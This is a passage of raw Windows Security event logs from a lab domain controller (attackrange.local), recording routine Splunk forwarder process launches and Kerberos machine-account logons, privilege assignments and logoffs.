ID: 0x88c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:41:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256699 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:41:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256701 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1008 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:41:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256702 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:41:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256703 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:41:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256704 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:41:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256705 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:41:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256707 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x44B474 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65532 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:41:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256706 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44B474 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:41:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256708 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44B474 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:41:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256711 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44C128 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:41:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256710 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x44C128 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49158 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:41:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256709 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44C128 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:42:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256717 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44C452 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:42:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256716 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x44C452 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49162 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:42:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256715 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44C452 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:42:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256714 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44C3E6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:42:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256713 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x44C3E6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49161 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:42:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256712 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44C3E6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:42:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256719 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:42:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256718 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256720 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256732 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44DA5E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256731 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44DB6C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256730 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44DBB4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256729 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x44DC9A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49166 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or 